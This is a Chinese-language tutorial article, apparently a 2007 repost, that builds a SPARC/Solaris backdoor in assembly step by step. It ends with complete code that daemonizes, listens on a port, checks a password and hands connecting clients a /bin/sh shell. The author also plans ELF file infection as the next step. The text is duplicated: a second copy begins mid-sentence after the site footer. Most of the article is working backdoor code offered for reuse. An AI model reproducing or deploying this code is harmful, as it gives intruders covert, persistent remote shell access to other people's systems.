SPARC/Solaris下的Unix后门初探(2)
时间:2007-02-17 来源:PHP爱好者
这段代码仅仅演示了很重要的两个部分,一个是设置文本段可写,一个是成功创建套
接字并阻塞在accept()系统调用处,一旦有入连接,程序就正常终止了。幸运的是,
在经历了太多磨难后,SPARC没有继续为难我们,一切按照预想的发展。
编写syscall( 6, s )、syscall( 6, c )以及syscall( 62, c, 9, 0 ):
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 0x06, %o0 ! 第一个参数6
ld [ %l7 ], %o1 ! 第二个参数s
clr %g1
ta 8
mov 0x3e, %o0 ! 第一个参数62
ld [ %l7 + 4 ], %o1 ! 第二个参数c
mov 0x09, %o2
clr %o3
clr %g1
ta 8
mov 0x06, %o0 ! 第一个参数6
ld [ %l7 + 4 ], %o1 ! 第二个参数c
clr %g1
ta 8
");
} /* end of main */
--------------------------------------------------------------------------
还有一个更烦人的execve( name[0], name, 0 ),可以从
<<solaris for sparc下shellcode的编写(三) >>中偷一些代码过来:
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
sethi 0xbd89a, %l4 ! sethi %hi(0x2f626800), %l4
or %l4, 0x16e, %l4
sethi 0xbdcda, %l5 ! sethi %hi(0x2f736800), %l5
and %sp, %sp, %o0 ! $o0 指向字符串/bin/sh
add %sp, 8, %o1 ! $o1 存放一个地址,该地址处存放了指向字符串的指针
xor %o2, %o2, %o2 ! %o2寄存器清零
add %sp, 16, %sp ! 留出存储空间
std %l4, [%sp - 16] ! 存放字符串
st %o0, [%sp - 8] ! 存放字符串指针
st %g0, [%sp - 4] ! %g0总是为0
mov 0x3b, %g1 ! 将0x3b拷贝到%g1寄存器中
ta 8 ! 执行中断指令ta 8(execve()完成)
");
} /* end of main */
--------------------------------------------------------------------------
最后研究一下syscall( 3, c, pass, 8 ):
--------------------------------------------------------------------------
0x1033c <main+392>: mov 3, %o0
0x10340 <main+396>: ld [ %o1 + 0x1b0 ], %o1
0x10344 <main+400>: sethi %hi(0x26400), %o3
0x10348 <main+404>: or %o3, 0x158, %o2 ! 0x26558 <pass>
0x1034c <main+408>: mov 8, %o3
0x10350 <main+412>: call 0x10fec <syscall>
0x10354 <main+416>: nop
--------------------------------------------------------------------------
分析后提炼如下:
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 0x03, %o0 ! 第一个参数3
ld [ %l7 + 4 ], %o1 ! 第二个参数c
add %l7, 8, %o2 ! 第三个参数pass
mov 0x08, %o3 ! 第四个参数8
clr %g1
ta 8
");
} /* end of main */
--------------------------------------------------------------------------
本以为这就是最后了,猛然记起SPARC没有repnz cmpsb指令。可以省点事的是我们强
制口令恰好8个字节,所以比较两个usigned long即可。
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
read:
mov 0x03, %o0 ! 第一个参数3
ld [ %l7 + 4 ], %o1 ! 第二个参数c
add %l7, 8, %o2 ! 第三个参数pass
mov 0x08, %o3 ! 第四个参数8
clr %g1
ta 8 ! read( c, pass, 8 )
ld [ %l7 + 8 ], %o0
ld [ %l7 + 28 ], %o1
cmp %o0, %o1
be,a .+16
nop
call read
nop
ld [ %l7 + 12 ], %o0
ld [ %l7 + 32 ], %o1
cmp %o0, %o1
be,a .+16
nop
call read
nop
");
} /* end of main */
--------------------------------------------------------------------------
实际最初的代码不是这个样子,当时忽略了SPARC下严格的4字节对齐的要求,导致在
做弱口令验证的时候总线错误,i386下是没有这种顾虑的。这也说明了SPARC下汇编
编程更加困难,需要更多的细心。
至此,我们需要的各个系统调用、各个关键部位的汇编代码统统搞定,剩下的问题是
组合它们。提醒大家的是,即使我们这次组合顺利,也不意味着backdoor for sparc
成功搞定,尚不了解ELF的处理方式是否通用于SPARC和i386之间。如果搞不定,大家
不要乱扔臭鸡蛋、西红柿什么的,砸到我倒没什么,砸到小朋友怎么办,即使砸不到
小朋友,砸到那些花花草草也是不好的,我都给你们说过多次了。
言归正传,backdoor如果没搞定,作为汇编版本的远程shell毕竟提供出来了,对于
以后可能出现的很多研究有借鉴作用,也是不错的。
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 2, %g1
ta 8 ! fork()
tst %o1 ! %o1不为0表示是子进程
bne,a .+16 ! 是子进程,跳转
mov %g0, %o0 ! 延迟插槽
call exit
nop
mov 0x27, %o0 ! 此前%o0为0,子进程继续
mov 3, %o1
clr %g1
ta 8 ! setsid()
mov 0x30, %o0
mov 1, %o1
mov 1, %o2
clr %g1
ta 8 ! signal( SIGHUP, SIG_IGN )
mov 2, %g1
ta 8 ! fork()
tst %o1 ! %o1不为0表示是子进程
bne,a .+16 ! 是子进程,跳转
mov %g0, %o0 ! 延迟插槽
call exit
nop
mov 0x74, %o0 ! 第一个参数116
sethi %hi(0x10000), %o1 ! 第二参数,起始地址
sethi %hi(0x00002000), %o2 ! 第三个参数8096
mov 0x07, %o3 ! 第四个参数7,rwx
clr %g1
ta 8 ! 设置文本段可写
bn,a .-4 ! 跳转去执行call .-4指令
bn,a .-4 ! 跳转去执行nop
call .-4 ! 跳转去执行前面这条bn,a .-4指令
nop ! 作为延迟插槽被执行一次,bn,a跳转后又执行一次
add %o7, 464, %l7 ! %o7 + 464 指向本段代码尾部
mov 0xe6, %o0
mov 0x02, %o1
mov 0x02, %o2
mov 0x06, %o3
clr %g1
ta 8 ! socket( 2, 2, 6 )
st %o0, [ %l7 ] ! [ %l7 ]存放s
mov 2, %o1
sth %o1, [ %l7 + 0x04 ] ! serv_addr.sin_family
clr [ %l7 + 0x08 ] ! serv_addr.sin_addr.s_addr
sethi %hi(0x2000), %o1
sth %o1, [ %l7 + 0x06 ] ! serv_addr.sin_port
mov 0xe8, %o0 ! 第一个参数232
ld [ %l7 ], %o1 ! 第二个参数s
mov 4, %o2
add %l7, %o2, %o2 ! 第三个参数&serv_addr
mov 0x10, %o3 ! 最后一个参数16
clr %g1
ta 8 ! bind( s, ( struct sockaddr * )&serv_addr, 0x10 )
mov 0xe9, %o0 ! 第一个参数233
ld [ %l7 ], %o1 ! 第二个参数s
mov 0x01, %o2 ! 第三个参数1
clr %g1
ta 8 ! listen( s, 1 )
mov 0x30, %o0
mov 0x12, %o1 ! SIGCHLD
mov 0x01, %o2
clr %g1
ta 8 ! signal( SIGCHLD, SIG_IGN )
accept:
mov 0xea, %o0
ld [ %l7 ], %o1 ! 第二个参数s
clr %o2
clr %o3
clr %g1
ta 8 ! accept( s, 0, 0 )
st %o0, [ %l7 + 4 ] ! [ %l7 +4 ]存放c
mov 2, %g1
ta 8 ! fork()
tst %o1 ! %o1不为0表示是子进程
bne,a .+16 ! 是子进程,跳转
mov %g0, %o0 ! 延迟插槽
call loop
nop
mov 0x06, %o0 ! 第一个参数6
ld [ %l7 ], %o1 ! 第二个参数s
clr %g1
ta 8 ! close( s )
read:
mov 0x03, %o0 ! 第一个参数3
ld [ %l7 + 4 ], %o1 ! 第二个参数c
add %l7, 8, %o2 ! 第三个参数pass
mov 0x08, %o3 ! 第四个参数8
clr %g1
ta 8 ! read( c, pass, 8 )
ld [ %l7 + 8 ], %o0
ld [ %l7 + 28 ], %o1
cmp %o0, %o1
be,a .+16
nop
call read
nop
ld [ %l7 + 12 ], %o0
ld [ %l7 + 32 ], %o1
cmp %o0, %o1
be,a .+16
nop
call read
nop
mov 0x3e, %o0 ! 第一个参数62
ld [ %l7 + 4 ], %o1 ! 第二个参数c
mov 0x09, %o2
clr %o3
clr %g1
ta 8 ! dup2( c, 0 )
mov 0x3e, %o0 ! 第一个参数62
ld [ %l7 + 4 ], %o1 ! 第二个参数c
mov 0x09, %o2
mov 0x01, %o3
clr %g1
ta 8 ! dup2( c, 1 )
mov 0x3e, %o0 ! 第一个参数62
ld [ %l7 + 4 ], %o1 ! 第二个参数c
mov 0x09, %o2
mov 0x02, %o3
clr %g1
ta 8 ! dup2( c, 2 )
mov 0x06, %o0 ! 第一个参数6
ld [ %l7 + 4 ], %o1 ! 第二个参数c
clr %g1
ta 8 ! close( c )
sethi 0xbd89a, %l4 ! sethi %hi(0x2f626800), %l4
or %l4, 0x16e, %l4
sethi 0xbdcda, %l5 ! sethi %hi(0x2f736800), %l5
and %sp, %sp, %o0 ! $o0 指向字符串/bin/sh
add %sp, 8, %o1 ! $o1 存放一个地址,该地址处存放了指向字符串的指针
xor %o2, %o2, %o2 ! %o2寄存器清零
add %sp, 16, %sp ! 留出存储空间
std %l4, [%sp - 16] ! 存放字符串
st %o0, [%sp - 8] ! 存放字符串指针
st %g0, [%sp - 4] ! %g0总是为0
mov 0x3b, %g1 ! 将0x3b拷贝到%g1寄存器中
ta 8 ! 执行中断指令ta 8(execve()完成)
call exit ! 保护措施,防止失控
nop
loop:
mov 0x06, %o0 ! 第一个参数6
ld [ %l7 + 4 ], %o1 ! 第二个参数c
clr %g1
ta 8 ! close( c )
call accept
nop
exit:
mov 0x01, %o0
clr %o1
clr %g1
ta 8 ! exit( 0 )
.byte 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
.byte 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
.byte 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
.byte 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
");
} /* end of main */
--------------------------------------------------------------------------
7.12注:由于众所周知的原因,最后的四个.byte指令我全部替换成现在的样子,如
果你看懂了原理,自己随便改改就是了,否则别怨我什么。
测试后效果还可以,接下来的任务是SPARC/Solaris下ELF格式文件的感染,估计很头
疼,如果实在太难我就放弃了,这个方向不是那么好玩的,弄不好把自己就给兜进去
了。
一个遗留问题,应该处理一下bind()失败的情形,Linux版本都处理了,SPARC版本尚
未处理,今做一工作记录,以免你忘却(马语者)。
<完>
非常全面的一个php技术网站,php爱好者站 http://www.phpfans.net 有相当丰富的文章和源代码.
接字并阻塞在accept()系统调用处,一旦有入连接,程序就正常终止了。幸运的是,
在经历了太多磨难后,SPARC没有继续为难我们,一切按照预想的发展。
编写syscall( 6, s )、syscall( 6, c )以及syscall( 62, c, 9, 0 ):
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 0x06, %o0 ! 第一个参数6
ld [ %l7 ], %o1 ! 第二个参数s
clr %g1
ta 8
mov 0x3e, %o0 ! 第一个参数62
ld [ %l7 + 4 ], %o1 ! 第二个参数c
mov 0x09, %o2
clr %o3
clr %g1
ta 8
mov 0x06, %o0 ! 第一个参数6
ld [ %l7 + 4 ], %o1 ! 第二个参数c
clr %g1
ta 8
");
} /* end of main */
--------------------------------------------------------------------------
还有一个更烦人的execve( name[0], name, 0 ),可以从
<<solaris for sparc下shellcode的编写(三) >>中偷一些代码过来:
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
sethi 0xbd89a, %l4 ! sethi %hi(0x2f626800), %l4
or %l4, 0x16e, %l4
sethi 0xbdcda, %l5 ! sethi %hi(0x2f736800), %l5
and %sp, %sp, %o0 ! $o0 指向字符串/bin/sh
add %sp, 8, %o1 ! $o1 存放一个地址,该地址处存放了指向字符串的指针
xor %o2, %o2, %o2 ! %o2寄存器清零
add %sp, 16, %sp ! 留出存储空间
std %l4, [%sp - 16] ! 存放字符串
st %o0, [%sp - 8] ! 存放字符串指针
st %g0, [%sp - 4] ! %g0总是为0
mov 0x3b, %g1 ! 将0x3b拷贝到%g1寄存器中
ta 8 ! 执行中断指令ta 8(execve()完成)
");
} /* end of main */
--------------------------------------------------------------------------
最后研究一下syscall( 3, c, pass, 8 ):
--------------------------------------------------------------------------
0x1033c <main+392>: mov 3, %o0
0x10340 <main+396>: ld [ %o1 + 0x1b0 ], %o1
0x10344 <main+400>: sethi %hi(0x26400), %o3
0x10348 <main+404>: or %o3, 0x158, %o2 ! 0x26558 <pass>
0x1034c <main+408>: mov 8, %o3
0x10350 <main+412>: call 0x10fec <syscall>
0x10354 <main+416>: nop
--------------------------------------------------------------------------
分析后提炼如下:
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 0x03, %o0 ! 第一个参数3
ld [ %l7 + 4 ], %o1 ! 第二个参数c
add %l7, 8, %o2 ! 第三个参数pass
mov 0x08, %o3 ! 第四个参数8
clr %g1
ta 8
");
} /* end of main */
--------------------------------------------------------------------------
本以为这就是最后了,猛然记起SPARC没有repnz cmpsb指令。可以省点事的是我们强
制口令恰好8个字节,所以比较两个usigned long即可。
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
read:
mov 0x03, %o0 ! 第一个参数3
ld [ %l7 + 4 ], %o1 ! 第二个参数c
add %l7, 8, %o2 ! 第三个参数pass
mov 0x08, %o3 ! 第四个参数8
clr %g1
ta 8 ! read( c, pass, 8 )
ld [ %l7 + 8 ], %o0
ld [ %l7 + 28 ], %o1
cmp %o0, %o1
be,a .+16
nop
call read
nop
ld [ %l7 + 12 ], %o0
ld [ %l7 + 32 ], %o1
cmp %o0, %o1
be,a .+16
nop
call read
nop
");
} /* end of main */
--------------------------------------------------------------------------
实际最初的代码不是这个样子,当时忽略了SPARC下严格的4字节对齐的要求,导致在
做弱口令验证的时候总线错误,i386下是没有这种顾虑的。这也说明了SPARC下汇编
编程更加困难,需要更多的细心。
至此,我们需要的各个系统调用、各个关键部位的汇编代码统统搞定,剩下的问题是
组合它们。提醒大家的是,即使我们这次组合顺利,也不意味着backdoor for sparc
成功搞定,尚不了解ELF的处理方式是否通用于SPARC和i386之间。如果搞不定,大家
不要乱扔臭鸡蛋、西红柿什么的,砸到我倒没什么,砸到小朋友怎么办,即使砸不到
小朋友,砸到那些花花草草也是不好的,我都给你们说过多次了。
言归正传,backdoor如果没搞定,作为汇编版本的远程shell毕竟提供出来了,对于
以后可能出现的很多研究有借鉴作用,也是不错的。
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 2, %g1
ta 8 ! fork()
tst %o1 ! %o1不为0表示是子进程
bne,a .+16 ! 是子进程,跳转
mov %g0, %o0 ! 延迟插槽
call exit
nop
mov 0x27, %o0 ! 此前%o0为0,子进程继续
mov 3, %o1
clr %g1
ta 8 ! setsid()
mov 0x30, %o0
mov 1, %o1
mov 1, %o2
clr %g1
ta 8 ! signal( SIGHUP, SIG_IGN )
mov 2, %g1
ta 8 ! fork()
tst %o1 ! %o1不为0表示是子进程
bne,a .+16 ! 是子进程,跳转
mov %g0, %o0 ! 延迟插槽
call exit
nop
mov 0x74, %o0 ! 第一个参数116
sethi %hi(0x10000), %o1 ! 第二参数,起始地址
sethi %hi(0x00002000), %o2 ! 第三个参数8096
mov 0x07, %o3 ! 第四个参数7,rwx
clr %g1
ta 8 ! 设置文本段可写
bn,a .-4 ! 跳转去执行call .-4指令
bn,a .-4 ! 跳转去执行nop
call .-4 ! 跳转去执行前面这条bn,a .-4指令
nop ! 作为延迟插槽被执行一次,bn,a跳转后又执行一次
add %o7, 464, %l7 ! %o7 + 464 指向本段代码尾部
mov 0xe6, %o0
mov 0x02, %o1
mov 0x02, %o2
mov 0x06, %o3
clr %g1
ta 8 ! socket( 2, 2, 6 )
st %o0, [ %l7 ] ! [ %l7 ]存放s
mov 2, %o1
sth %o1, [ %l7 + 0x04 ] ! serv_addr.sin_family
clr [ %l7 + 0x08 ] ! serv_addr.sin_addr.s_addr
sethi %hi(0x2000), %o1
sth %o1, [ %l7 + 0x06 ] ! serv_addr.sin_port
mov 0xe8, %o0 ! 第一个参数232
ld [ %l7 ], %o1 ! 第二个参数s
mov 4, %o2
add %l7, %o2, %o2 ! 第三个参数&serv_addr
mov 0x10, %o3 ! 最后一个参数16
clr %g1
ta 8 ! bind( s, ( struct sockaddr * )&serv_addr, 0x10 )
mov 0xe9, %o0 ! 第一个参数233
ld [ %l7 ], %o1 ! 第二个参数s
mov 0x01, %o2 ! 第三个参数1
clr %g1
ta 8 ! listen( s, 1 )
mov 0x30, %o0
mov 0x12, %o1 ! SIGCHLD
mov 0x01, %o2
clr %g1
ta 8 ! signal( SIGCHLD, SIG_IGN )
accept:
mov 0xea, %o0
ld [ %l7 ], %o1 ! 第二个参数s
clr %o2
clr %o3
clr %g1
ta 8 ! accept( s, 0, 0 )
st %o0, [ %l7 + 4 ] ! [ %l7 +4 ]存放c
mov 2, %g1
ta 8 ! fork()
tst %o1 ! %o1不为0表示是子进程
bne,a .+16 ! 是子进程,跳转
mov %g0, %o0 ! 延迟插槽
call loop
nop
mov 0x06, %o0 ! 第一个参数6
ld [ %l7 ], %o1 ! 第二个参数s
clr %g1
ta 8 ! close( s )
read:
mov 0x03, %o0 ! 第一个参数3
ld [ %l7 + 4 ], %o1 ! 第二个参数c
add %l7, 8, %o2 ! 第三个参数pass
mov 0x08, %o3 ! 第四个参数8
clr %g1
ta 8 ! read( c, pass, 8 )
ld [ %l7 + 8 ], %o0
ld [ %l7 + 28 ], %o1
cmp %o0, %o1
be,a .+16
nop
call read
nop
ld [ %l7 + 12 ], %o0
ld [ %l7 + 32 ], %o1
cmp %o0, %o1
be,a .+16
nop
call read
nop
mov 0x3e, %o0 ! 第一个参数62
ld [ %l7 + 4 ], %o1 ! 第二个参数c
mov 0x09, %o2
clr %o3
clr %g1
ta 8 ! dup2( c, 0 )
mov 0x3e, %o0 ! 第一个参数62
ld [ %l7 + 4 ], %o1 ! 第二个参数c
mov 0x09, %o2
mov 0x01, %o3
clr %g1
ta 8 ! dup2( c, 1 )
mov 0x3e, %o0 ! 第一个参数62
ld [ %l7 + 4 ], %o1 ! 第二个参数c
mov 0x09, %o2
mov 0x02, %o3
clr %g1
ta 8 ! dup2( c, 2 )
mov 0x06, %o0 ! 第一个参数6
ld [ %l7 + 4 ], %o1 ! 第二个参数c
clr %g1
ta 8 ! close( c )
sethi 0xbd89a, %l4 ! sethi %hi(0x2f626800), %l4
or %l4, 0x16e, %l4
sethi 0xbdcda, %l5 ! sethi %hi(0x2f736800), %l5
and %sp, %sp, %o0 ! $o0 指向字符串/bin/sh
add %sp, 8, %o1 ! $o1 存放一个地址,该地址处存放了指向字符串的指针
xor %o2, %o2, %o2 ! %o2寄存器清零
add %sp, 16, %sp ! 留出存储空间
std %l4, [%sp - 16] ! 存放字符串
st %o0, [%sp - 8] ! 存放字符串指针
st %g0, [%sp - 4] ! %g0总是为0
mov 0x3b, %g1 ! 将0x3b拷贝到%g1寄存器中
ta 8 ! 执行中断指令ta 8(execve()完成)
call exit ! 保护措施,防止失控
nop
loop:
mov 0x06, %o0 ! 第一个参数6
ld [ %l7 + 4 ], %o1 ! 第二个参数c
clr %g1
ta 8 ! close( c )
call accept
nop
exit:
mov 0x01, %o0
clr %o1
clr %g1
ta 8 ! exit( 0 )
.byte 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
.byte 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
.byte 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
.byte 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
");
} /* end of main */
--------------------------------------------------------------------------
7.12注:由于众所周知的原因,最后的四个.byte指令我全部替换成现在的样子,如
果你看懂了原理,自己随便改改就是了,否则别怨我什么。
测试后效果还可以,接下来的任务是SPARC/Solaris下ELF格式文件的感染,估计很头
疼,如果实在太难我就放弃了,这个方向不是那么好玩的,弄不好把自己就给兜进去
了。
一个遗留问题,应该处理一下bind()失败的情形,Linux版本都处理了,SPARC版本尚
未处理,今做一工作记录,以免你忘却(马语者)。
<完>
非常全面的一个php技术网站,php爱好者站 http://www.phpfans.net 有相当丰富的文章和源代码.
相关阅读 更多 +